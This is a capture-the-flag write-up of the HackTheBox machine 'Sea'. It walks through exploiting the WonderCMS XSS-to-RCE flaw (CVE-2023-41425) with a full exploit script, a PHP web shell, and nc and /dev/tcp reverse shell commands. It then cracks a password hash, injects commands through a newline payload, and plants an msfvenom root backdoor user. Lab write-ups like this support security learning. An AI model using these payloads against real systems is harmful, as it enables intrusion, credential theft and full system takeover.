Skip to content

Sea

Sea-info

Initial Enumeration

We start with Nmap to discover open ports and services on the target host. First with the -p- and --min-rate 10000 flags to potentially get all open TCP ports. Nmap will tell us 22 and 80 as being open. We run a detailed scan for these ports, doing version scanning and a script scan as well.

$ sudo nmap -p22,80 -sC -sV -vv -oN nmap-full 10.129.76.181
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 15:33 CET
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZDkHH698ON6uxM3eFCVttoRXc1PMUSj8hDaiwlDlii0p8K8+6UOqhJno4Iti+VlIcHEc2THRsyhFdWAygICYaNoPsJ0nhkZsLkFyu/lmW7frIwINgdNXJOLnVSMWEdBWvVU7owy+9jpdm4AHAj6mu8vcPiuJ39YwBInzuCEhbNPncrgvXB1J4dEsQQAO4+KVH+QZ5ZCVm1pjXTjsFcStBtakBMykgReUX9GQJ9Y2D2XcqVyLPxrT98rYy+n5fV5OE7+J9aiUHccdZVngsGC1CXbbCT2jBRByxEMn+Hl+GI/r6Wi0IEbSY4mdesq8IHBmzw1T24A74SLrPYS9UDGSxEdB5rU6P3t91rOR3CvWQ1pdCZwkwC4S+kT35v32L8TH08Sw4Iiq806D6L2sUNORrhKBa5jQ7kGsjygTf0uahQ+g9GNTFkjLspjtTlZbJZCWsz2v0hG+fzDfKEpfC55/FhD5EDbwGKRfuL/YnZUPzywsheq1H7F0xTRTdr4w0At8=
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMMoxImb/cXq07mVspMdCWkVQUTq96f6rKz6j5qFBfFnBkdjc07QzVuwhYZ61PX1Dm/PsAKW0VJfw/mctYsMwjM=
|   256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHuXW9Vi0myIh6MhZ28W8FeJo0FRKNduQvcSzUAkWw7z
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • TTL of 63 indicating a Linux host as well as possibly no containerization in play.
  • 22/TCP SSH: Running SSH on Ubuntu
  • 80/TCP HTTP: Apache web server version 2.4.41

Port 80

Navigating to the web page first to get an overview.

http://10.129.76.181 Sea-19.png

We browse through it, clicking on HOW TO PARTICIPATE and we can click on the contact hyperlink which redirects us to http://sea.htb/contact.php

Sea-20.png

We add sea.htb to our /etc/hosts file and visit the redirected page again.

/contact.php

Sea-21.png

We can fill out the form and specify our own attack machine IP (http://<ATTACK-IP>/test) in the Website field. Doing so, we will get a response on our listener, which reveals the User-Agent used. From the User-Agent we can see this as being a normal browser, which might indicate that some user clicked on the Website link we provided in the form.

$ nc -lvnp 80             
listening on [any] 80 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.76.181] 39424
GET /test HTTP/1.1
Host: 10.10.16.25
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/117.0.5938.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate

Curling for directories

We can use curl to obtain possible redirects to other resources. Alternatively we can run the Ffuf tool to fuzz for directories recursively, which should find the themes directory as well as the subdirectory bike as well.

$ curl -s http://sea.htb | grep -i sea.htb
        <link rel="stylesheet" href="http://sea.htb/themes/bike/css/style.css">
                        <center><img src="http://sea.htb/themes/bike/img/velik71-new-logotip.png" alt="" /></center>
                                        <a href="http://sea.htb/"><h1>Sea</h1></a>
                                                <a class="nav-link" href="http://sea.htb/home">Home</a></li><li class="nav-item ">
                                                <a class="nav-link" href="http://sea.htb/how-to-participate">How to participate</a></li>

Successfully discover http://sea.htb/themes/bike.

Sea-22.png

Fuzzing /themes/bike

We will use Ffuf to fuzz for some files/directories on /themes/bike.

$ ffuf -u http://sea.htb/themes/bike/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://sea.htb/themes/bike/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.html                   [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 36ms]
.htm                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 88ms]
img                     [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 96ms]
LICENSE                 [Status: 200, Size: 1067, Words: 152, Lines: 22, Duration: 69ms]
404                     [Status: 200, Size: 3341, Words: 530, Lines: 85, Duration: 74ms]
home                    [Status: 200, Size: 3650, Words: 582, Lines: 87, Duration: 162ms]
.                       [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 103ms]
css                     [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 3930ms]
.htaccess               [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 216ms]
.php                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 4966ms]
.phtml                  [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 290ms]
.htc                    [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 145ms]
version                 [Status: 200, Size: 6, Words: 1, Lines: 2, Duration: 110ms]
<--SNIP-->

Interesting hits here are LICENSE and version.

We visit LICENSE first.

http://sea.htb/themes/bike/LICENSE Sea-23.png

We can see turboblack and googling "turboblack bike theme" reveals a theme creator for WonderCMS.

Sea-25.png

When visiting http://sea.htb/themes/bike/version, we can see a version in use.

Sea-24.png

We can assume here that WonderCMS is being used and running on version 3.2.0.

Exploitation

Wonder CMS version v3.2.0 through v3.4.2 is vulnerable to a reflected XSS and publicly available PoC code exists. It is possible to chain this XSS vulnerability to an RCE, by further abusing the installModule component to install a malicious theme.

Info

In the following are two ways to achieve successful remote code execution, by using the proof-of-concept script as well as by writing our own Python script.

We run the exploit specifying our attacking IP and port we listen on as well as the target URL (adjusting the PoC to our scenario). This generates our xss.js file and we then copy the link displayed.

First we will create our payload. The PoC itself tries to download a PHP reverse shell, however HackTheBox machines have no internet connection, so we need to specify and host our own. We could decide to straight up go with a PHP reverse shell (like pentestmonkey), but I will go the safe route by choosing a simple PHP web shell.

<?php system($_GET["cmd"]); ?>

We put the payload in a file and call it shelly.php.

echo '<?php system($_GET["cmd"]); ?>' > shelly.php

Next we create a folder and move our malicious PHP file into it, which is needed to successfully install the module.

mkdir shelly && mv shelly.php shelly/

Lastly for our payload we zip it up.

zip shelly.zip shelly/ -r

Next we can move on to modify the PoC script.

To adjust the target URL we mirror the PoC URL to check if we get the login prompt, which we successfully do at:

http://sea.htb/index.php?page=loginURL Sea-26.png

Next we adjust the PoC Python script, we need to change some code, namely the data variable which contains the code for the malicious xss.js:

<--SNIP-->
else:
data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).pathname; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = "http://sea.htb/?installModule=http://10.10.16.25:8000/shelly.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
'''
<--SNIP-->
  • We change the urlRev variable to install a module that is hosted on our attack host. We also specify http://sea.htb instead of the variables the PoC uses, since it is a bit unstable in working otherwise.
  • Since we do not launch a reverse shell, we can just delete everything after the xhr3.send() function call.

If you do decide to go the direct reverse shell route, make sure to also change the xhr4.open("GET", "http://sea.htb/themes/shelly/shelly.php"); as well as the xhr5.open("GET", "http://sea.htb/themes/shelly/shelly.php?lhost=" + ip + "&lport=" + port);

Now we can actually run it to generate the xss.js file, start the web server and to get our XSS payload.

$ python3 exploit.py http://sea.htb/loginURL 10.10.16.25 7777
[+] xss.js is created
[+] execute the below command in another terminal

----------------------------
nc -lvp 7777
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8080/xss.js"></script><form+action="
----------------------------


starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

The only thing left now is to trigger the XSS payload.

During our previous enumeration on /contact.php, we know someone is visiting the URL we provide in the Website field of the contact form. We choose this to place our reflected XSS payload (http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8080/xss.js"></script><form+action=").

Sea-30.png

After some time we get a hit on the web server the exploit has started:

<--SNIP-->
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.194.205 - - [21/Nov/2024 14:50:25] "GET /xss.js HTTP/1.1" 200 -
10.129.194.205 - - [21/Nov/2024 14:50:34] "GET /shelly.zip HTTP/1.1" 200 -
10.129.194.205 - - [21/Nov/2024 14:50:34] "GET /shelly.zip HTTP/1.1" 200 -
10.129.194.205 - - [21/Nov/2024 14:50:34] "GET /shelly.zip HTTP/1.1" 200 -
10.129.194.205 - - [21/Nov/2024 14:50:35] "GET /shelly.zip HTTP/1.1" 200 -

Next we can access the uploaded web shell using curl on http://sea.htb/themes/shelly/shelly.php.

$ curl -s 'http://sea.htb/themes/shelly/shelly.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl -s 'http://sea.htb/themes/shelly/shelly.php?cmd=hostname'
sea

We can now also get a reverse shell by choosing any Linux binary that is able to do so and issue it using our web shell. I'm choosing nc here.

$ curl -s 'http://sea.htb/themes/shelly/shelly.php?cmd=which+nc'
/usr/bin/nc

$ curl -s 'http://sea.htb/themes/shelly/shelly.php' --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.25 7777 >/tmp/f"

Before we run the above command, we of course set up our listener. Then after running the command we successfully catch the reverse shell connection on our listener as www-data user:

$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 39684
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell

www-data@sea:/var/www/sea/themes/shelly$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@sea:/var/www/sea/themes/shelly$ hostname
sea

I decided to rewrite the PoC script a bit, allowing to adjust the web server IP and port as well as simplifying the payload to a simple PHP web shell that is generated by the script itself. The script also provides the web shell location in order to execute commands and provides an example command for Linux in order to get a reverse shell connection.

The script can also be found on my GitHub.

exploit.py
import requests
import argparse
from argparse import RawTextHelpFormatter
import os
import subprocess
import zipfile
from termcolor import colored

def main():
parser = argparse.ArgumentParser(description="Exploit Wonder CMS v3.2.0 - v3.4.2 XSS to RCE (CVE-2023-41425)\nInitial CVE and proof-of-concept by prodigiousMind\nRewritten by xpltive", formatter_class=RawTextHelpFormatter)
parser.add_argument("--url", required=True, help="Target URL of loginURL (Example: http://sea.htb/loginURL)")
parser.add_argument("--xip", required=True, help="IP for HTTP web server that hosts the malicious .js file")
parser.add_argument("--xport", required=True, help="Port for HTTP web server that hosts the malicious .js file")
args = parser.parse_args()

target_login_url = args.url
target_split = args.url.split('/')
target_url = target_split[0] +  '//' + target_split[2]

# Web Shell
print("[+] Creating PHP Web Shell")
if not os.path.exists('malicious'):
        os.mkdir('malicious')
        with open ('malicious/malicious.php', 'w') as f:
        f.write('<?php system($_GET["cmd"]); ?>')
        with zipfile.ZipFile('./malicious.zip', 'w') as z:
        z.write('malicious/malicious.php')
        os.remove('malicious/malicious.php')
        os.rmdir('malicious')
else:
        print(colored("[!] Directory malicious already exists!", 'yellow'))

# Malicious .js
js = f'''var token = document.querySelectorAll('[name="token"]')[0].value;
var module_url = "{target_url}/?installModule=http://{args.xip}:{args.xport}/malicious.zip&directoryName=pwned&type=themes&token=" + token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("GET", module_url);
xhr.send();'''

print("[+] Writing malicious.js")
with open('malicious.js', 'w') as f:
        f.write(js)


xss_payload = args.url.replace("loginURL", "index.php?page=loginURL?")+"\"></form><script+src=\"http://"+args.xip+":"+args.xport+"/malicious.js\"></script><form+action=\""
print("[+] XSS Payload:")
print(colored(f"{xss_payload}", 'red'))

print("[+] Web Shell can be accessed once .zip file has been requested:")
print(colored(f"{target_url}/themes/malicious/malicious.php?cmd=<COMMAND>", 'red'))
print("[+] To get a reverse shell connection run the following:")
print(colored(f"curl -s '{target_url}/themes/malicious/malicious.php' --get --data-urlencode \"cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\" ", 'yellow'))

print("[+] Starting HTTP server")
subprocess.run(["python3", "-m", "http.server", "-b", args.xip, args.xport])

if __name__ == "__main__":
main()

For exploitation, we follow some of the same steps as with the proof-of-concept RCE tab.

First we validate that the loginURL can be accessed via http://sea.htb/loginURL, which is successful. Sea-26.png

With having the loginURL path, we can now run the exploit.

$ python3 exploit.py --url http://sea.htb/loginURL --xip 10.10.16.25 --xport 8888
[+] Creating PHP Web Shell
[+] Writing malicious.js
[+] XSS Payload:
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8888/malicious.js"></script><form+action="
[+] Web Shell can be accessed once .zip file has been requested:
http://sea.htb/themes/malicious/malicious.php?cmd=<COMMAND>
[+] To get a reverse shell connection run the following:
[+] curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" 
[+] Starting HTTP server
Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...

During our previous enumeration on /contact.php, we know someone is visiting the URL we provide in the Website field of the contact form. We choose this to place our reflected XSS payload provided by the script (http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.16.25:8080/xss.js"></script><form+action=").

Sea-30.png

After some time we will get hits on the web server started by the script. Once the .zip files have been requested by the victim, the malicious module is most likely installed.

Serving HTTP on 10.10.16.25 port 8888 (http://10.10.16.25:8888/) ...
<--REDACTED-->  "GET /malicious.js HTTP/1.1" 200 -
<--REDACTED-->  "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED-->  "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED-->  "GET /malicious.zip HTTP/1.1" 200 -
<--REDACTED-->  "GET /malicious.zip HTTP/1.1" 200 -

We confirm successful code execution by using curl on the command execution path provided by the script.

$ curl -s 'http://sea.htb/themes/malicious/malicious.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

To aid in easier enumeration we establish a reverse shell connection by first starting our listener and then running the command the script suggests.

$ curl -s 'http://sea.htb/themes/malicious/malicious.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"

And we get a successful connection on the listener.

$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 54398
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sea:/var/www/sea/themes/malicious$

Host Enumeration

After obtaining the shell, we enumerate the web directory /var/www/sea. Eventually we will find an interesting database file database.js at /var/www/sea/data/database.js. This file contains what seems to be the password (in hash format) needed to authenticate at the previously discovered web page /loginURL.

www-data@sea:/var/www/sea/data$ cat database.js                                 
{                         
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        "lastLogins": {
<--SNIP-->

We can try to crack it using Hashcat. The hash is in bcrypt format, since it starts with $2y$. However to do so successfully we need to delete the backslash escape characters \.

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q

Now we can now run Hashcat on the above hash using mode 3200:

$ ./hashcat hashes/sea/db-bcrypt.hash rockyou.txt -m 3200

<--SNIP-->
Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

The password successfully cracks and is revealed as mychemicalromance.

Since we don't have a username this password matches to we will enumerate the users present on the host and try for password re-use.

$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash

There are two users other than root present. We can successfully authenticate as user amay using the cracked password.

$ su amay
su amay
Password: mychemicalromance
id
uid=1000(amay) gid=1000(amay) groups=1000(amay)

Also successfully get authenticated using SSH present on the host, so we choose the SSH shell.

$ ssh amay@sea.htb
amay@sea:~$ id
uid=1000(amay) gid=1000(amay) groups=1000(amay)

The user flag can be found inside the home directory /home/amay/user.txt of user amay.

$ cat user.txt
e6c73989c9c921993de4435bf53b5a4d

Privilege Escalation

Doing some usual manual enumeration (before going to automated tools) we eventually find something interesting by enumerating the listening ports of the localhost using netstat.

$ netstat -lnpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:60755         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

Port 8080/TCP is open on 127.0.0.1. We will take a look at this, however need to forward the port to our attack machine first. Since we already have SSH authentication, I chose to do it using SSH.

$ ssh -N -L 8888:127.0.0.1:8080 amay@sea.htb

Tip

The -N flag can be used to not start a login shell, thus we can just run this command in some other console tab to successfully forward the port.

We navigate to the port (here 8888/TCP) on our attack machine.

http://127.0.0.1:8888/ Sea-31.png

We get a Basic HTTP Auth login prompt. Using the credentials we have discovered previously - amay:mychemicalromance - we can successfully authenticate.

Sea-32.png

Trying the functionalities present, we seem to be able to perform tasks using system commands. This indicates to me that there might be a command injection vulnerability, so we analyze some traffic sent using BurpSuite.

Looking at the POST data sent for analyzing the file, we can see a parameter specifying the file.

POST / HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8888/
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://127.0.0.1:8888
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: keep-alive
Cookie: csrftoken=xwkilhztwCiavQ8QsErajukQFlV2dA7I; default-theme=ngax
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

log_file=%2Fvar%2Flog%2Fauth.log&analyze_log=

Trying around manually using some common command injection characters, we can successfully achieve command injection using the \n character URL encoded to %0a in the log_file parameter.

log_file=%0a+id+%0a&analyze_log=

We catch the request when clicking on Analyze and modify the POST data to the above payload. We get the following output on the page, successfully confirming command injection as root.

Sea-34.png

We will exploit this by adding a backdoor in form of a root user. For this we use msfvenom to generate a malicious .elf file that does this for us.

$ msfvenom -p linux/x86/adduser USER=xpltive PASS=xpltive -f elf -o escalate.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 94 bytes
Final size of elf file: 178 bytes
Saved as: escalate.elf

We copy it over using scp:

$ scp ./escalate.elf amay@sea.htb:/tmp/escalate.elf

And we make it executable using the amay user's SSH connection we have established previously.

amay@sea:/tmp$ chmod +x /tmp/shelly.elf

Next we run the .elf as root by exploiting the command injection vulnerability. We send the following request with the payload launching the .elf file using BurpSuite (or using curl, etc.):

POST / HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8888/
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://127.0.0.1:8888
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
Connection: keep-alive
Cookie: csrftoken=xwkilhztwCiavQ8QsErajukQFlV2dA7I; default-theme=ngax
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

log_file=%0a+/tmp/./escalate.elf%0a&analyze_log=

After running it on the amay SSH shell we can now successfully login as xpltive and can confirm the new user also being root.

amay@sea:/tmp$ su xpltive
Password: 
# id
uid=0(root) gid=0(root) groups=0(root)

The root flag can be found at /root/root.txt.

# cat /root/root.txt
6e1925471aaa72144d541d1f346919df

Rabbit Hole: Reverse Shell

Failure

This shows a failed attempt to get a reverse shell connection, which was not possible. Can potentially cost a lot of time trying, ultimately not getting it to work.

We could also try the privilege escalation by establishing a reverse shell connection as root user. To do so we first create a malicious .elf file which serves as establishing the connection to our listener. We use msfvenom for it.

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.25 LPORT=7777 -f elf -o shelly.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shelly.elf

Next we copy the malicious binary over to the /tmp folder of the target host using scp.

$ scp ./shelly.elf amay@sea.htb:/tmp/shelly.elf

Before launching the attack, we need to add execute rights to the binary using our previously established SSH connection as amay:

amay@sea:/tmp$ chmod +x /tmp/shelly.elf

Now we start our listener and we can execute the .elf file via the command execution vulnerability.

log_file=%0a+/tmp/./shelly.elf%0a&analyze_log=-alid

We successfully catch the reverse shell, however it will exit after a few seconds.

$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.194.205] 42664
bash: cannot set terminal process group (15376): Inappropriate ioctl for device
bash: no job control in this shell
root@sea:/root/monitoring# id
id
uid=0(root) gid=0(root) groups=0(root)
root@sea:/root/monitoring# exit

This is probably due to the process that we ultimately do the command injection with exiting on the target host.

References